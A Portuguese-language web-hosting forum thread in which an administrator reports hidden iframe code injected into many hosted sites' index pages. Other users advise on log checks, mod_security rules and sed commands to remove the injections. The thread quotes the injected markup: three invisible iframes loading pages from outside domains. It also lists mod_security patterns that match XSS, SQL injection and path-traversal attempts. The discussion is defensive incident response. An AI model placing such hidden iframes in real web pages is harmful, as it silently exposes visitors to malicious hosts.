[Diogo]

Olá Amigos,

Gostaria de uma orientação.
A maioria dos dominios hospedados em nosso servidor estão com o mesmo código injetado na index.

O codigo abaixo foi inserido em diversos sites (html, dinamicos, etc).

<div style="visibility:hidden"><iframe src="http://sunday.jardinesdelmontgo.com/maxi.php" width=10 height=10></iframe></div> <div style="visibility:hidden"><iframe src="http://luna1.gesfincasvalencia.com/poker.php" width=10 height=10></iframe></div> <div style="visibility:hidden"><iframe src="http://orion.martasegura.com/configuration.php" width=10 height=10></iframe></div>

Alguem já passou por isso? O que devo fazer?

Obrigado,

Diogo

[Diogo]

Rodei o scan trojan horses. Resultado:

Possible Trojan - /usr/bin/dbiprof
Possible Trojan - /usr/sbin/pureauth
.

Possible Trojan - /etc/cron.daily/logrotate
Possible Trojan - /usr/bin/cpan
.
.

Possible Trojan - /usr/bin/instmodsh

Possible Trojan - /usr/bin/prove
.
Possible Trojan - /usr/bin/ptar
Possible Trojan - /usr/bin/spamd

[Deee_Carlos]

Esses resultados ai são falsos positivos, tem que tirar o código na unha e colocar mais segurança no seu server.

[Diogo]

Olá,

Obrigado pelo resposta!

poderia indicar alguem que possa enviar orçamento para me ajudar (por msn ou e-mail) a localizar o possível script/trojan e ajudar na configuração/melhora da segurança?

[alancb]

Da uma pesquisada aqui no forum que tem um topico sobre virus de FTP

Tinha várias maneiras de resolver isto

[riopardo]

http://www.forumcpanel.com.br/index.php?sh...6&hl=iframe
http://www.forumcpanel.com.br/index.php?showtopic=8476

[little_oak]

suphp + suexec + open_basedir (protegido) + modsec <--- imbatíveis.
Cuidado com perl-cgi e com senhas de baixo nível de segurança.
Olha os logs da conta afetadas (cat /var/log/messages | grep logindocliente), se foi por ftp vai mostrar.
Já tive um cliente com um caso parecido, problema foi perl (cgi) o qual o cliente usou para escalar o sistema e afetou tudo abaixo do /home.

Observe calmamente os logs, verá ip e origem do ataque (falo de que ferramentas foram utilizadas a nível de server-side).

Abraços e boa blindagem

[Diogo]

Olá! Mais uma vez agradeço a todos pela ajuda.

Seguindo orientação, rodei o comando cat /var/log/messages | greep login nas contas que tiveram iframe injetado e não localizei nada de estranho.
Além desse comando tem mais algum que eu possa tentar para localizar a origem do problema?

Vou remover os códigos injetados manualmente e trocar as senhas de todas as contas afetadas.


Utilizo o apache 2.0 e adicionei a configuração abaixo no mod security (peguei aqui no forum):


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

# Exemplo de configuração do mod_security Apache module

LoadModule security_module modules/mod_security.so

<IfModule mod_security.c>

# Turn the filtering engine On or Off
SecFilterEngine On

# The audit engine works independently and
# can be turned On of Off on the per-server or
# on the per-directory basis
SecAuditEngine RelevantOnly

# Make sure that URL encoding is valid
SecFilterCheckURLEncoding On

# Unicode encoding check
SecFilterCheckUnicodeEncoding On

# Only allow bytes from this range
SecFilterForceByteRange 1 255

# Cookie format checks.
SecFilterCheckCookieFormat On

# The name of the audit log file
SecAuditLog logs/audit_log

# Should mod_security inspect POST payloads
SecFilterScanPOST On

# Default action set
SecFilterDefaultAction "deny,log,status:406"

# Simple example filter
# SecFilter 111

# Prevent path traversal (..) attacks
# SecFilter "\.\./"

# Weaker XSS protection but allows common HTML tags
# SecFilter "<( |\n)*script"

# Prevent XSS atacks (HTML/Javascript injection)
# SecFilter "<(.|\n)+>"

# Very crude filters to prevent SQL injection attacks
# SecFilter "delete[[:space:]]+from"
# SecFilter "insert[[:space:]]+into"
# SecFilter "select.+from"

# Require HTTP_USER_AGENT and HTTP_HOST headers
SecFilterSelective "HTTP_USER_AGENT|HTTP_HOST" "^$"

# Only accept request encodings we know how to handle
# we exclude GET requests from this because some (automated)
# clients supply "text/html" as Content-Type
SecFilterSelective REQUEST_METHOD "!^GET$" chain
SecFilterSelective HTTP_Content-Type "!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)"

# Require Content-Length to be provided with
# every POST request
SecFilterSelective REQUEST_METHOD "^POST$" chain
SecFilterSelective HTTP_Content-Length "^$"

# Don't accept transfer encodings we know we don't handle
# (and you don't need it anyway)
SecFilterSelective HTTP_Transfer-Encoding "!^$"

# Some common application-related rules from
# http://modsecrules.monkeydev.org/rules.php?safety=safe

#Nuke Bookmarks XSS
SecFilterSelective THE_REQUEST "/modules\.php\?name=Bookmarks\&file=(del_cat\&catname|del_mark\&markname|edit_cat\&catname|edit_cat\&catcomment|marks\&catname|uploadbookmarks\&category)=(<[[:space:]]*script|(http|https|ftp)\:/)"

#Nuke Bookmarks Marks.php SQL Injection Vulnerability
SecFilterSelective THE_REQUEST "modules\.php\?name=Bookmarks\&file=marks\&catname=.*\&category=.*/\*\*/(union|select|delete|insert)"

#PHPNuke general XSS attempt
#/modules.php?name=News&file=article&sid=1&optionbox=
SecFilterSelective THE_REQUEST "/modules\.php\?*name=<[[:space:]]*script"

# PHPNuke SQL injection attempt
SecFilterSelective THE_REQUEST "/modules\.php\?*name=Search*instory="

#phpnuke sql insertion
SecFilterSelective THE_REQUEST "/modules\.php*name=Forums.*file=viewtopic*/forum=.*\'/"

# WEB-PHP phpbb quick-reply.php arbitrary command attempt

SecFilterSelective THE_REQUEST "/quick-reply\.php" chain
SecFilter "phpbb_root_path="

#Topic Calendar Mod for phpBB Cross-Site Scripting Attack
SecFilterSelective THE_REQUEST "/calendar_scheduler\.php\?start=(<[[:space:]]*script|(http|https|ftp)\:/)"

# phpMyAdmin: Safe

#phpMyAdmin Export.PHP File Disclosure Vulnerability
SecFilterSelective SCRIPT_FILENAME "export\.php$" chain
SecFilterSelective ARG_what "\.\."

#phpMyAdmin path vln
SecFilterSelective REQUEST_URI "/css/phpmyadmin\.css\.php\?GLOBALS\[cfg\]\[ThemePath\]=/etc"

</IfModule>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Essa configuração está ok?

[little_oak]

Então veja os logs do apache (todos), com certeza foi algo partindo de fora, no pior dos casos, algo que comprometeu todo o server localmente.
Os logs falarão para você.

[Diogo]

Olá little_oak!

Obrigado pela dica. Já estou fazendo isso.

Você conhece algum comando para remover os iframes automaticamente de todas as contas?
ou so manualmente?

Tentei com o codigo:

find /home/*/public_html -name "*.html" -exec sed -i 's/<iframe src="http://sunday.jardinesdelmontgo.com/maxi.php*<\/\iframe>//g' {} \; -print

resultado
sed: -e expression #1, char 23: unknown option to `s'


Obrigado

[Juliano P]

http://sunday.ja

troca pra

http:\/\/sunday.ja

[Diogo]

Olá Juliano, Obrigado!

Para os distraídos que nem eu, é necessário remover do ".html" e ".htm".

.html
find /home/*/public_html -name "*.html" -exec sed -i 's/<iframe src="http:\/\/sunday.jardinesdelmontgo.com.*<\/\iframe>//g' {} \; -print

.htm
find /home/*/public_html -name "*.htm" -exec sed -i 's/<iframe src="http:\/\/sunday.jardinesdelmontgo.com.*<\/\iframe>//g' {} \; -print

.php
find /home/*/public_html -name "*.php" -exec sed -i 's/<iframe src="http:\/\/sunday.jardinesdelmontgo.com.*<\/\iframe>//g' {} \; -print

Com os comandos acima consegui remover os iframes injetados. Apesar de ter digitado uma unica url (sunday.jardinesdelmontgo.com), ele removeu as 3 url injetadas automaticamente.

Para finalizar, se possivel gostaria de mais 2 ajudas:
1 - Meu mod_security está bom? recomendam alguma modificação para evitar que isso ocorra novamente?
2 - Navegando pelo forum vi a sugestão de limpar a pasta .tmp? Qual o comando?

Abraços

[Insert]

Sabe porque não achou nada no log do FTP?

Porque foi feito via gerenciador de arquivos do cpanel...

Tive este problema dia 1 de novembro varios sites foram modificados a index de varias revendas, chequei os logs naoa chei nada, fui ver o access_log do cpanel e tava la, o cara teve trabalho de logar no cpanel de cada conta ir no gerenciador e EDITAR a index original.

A solução que tive foi bloquear o acesso as portas do cpanel e WHM pra conexoes vindas de fora do Brasil, ate achar outra solução.

Se fosse em apenas uma revenda, diria que foi roubada a senha da revenda mas foi no server todo e não acredito que a minha senha(root) tenha sido roubada pois tomo muito cuidado com isso e ocorreu apenas em 1 server.

Complicado, o ruim é que os backups já estava todos infectados tambem, por isso é bom reter backups, mas haja HD pra isso.

PS: nao foi iframe foi uma pagina do sadam mesmo.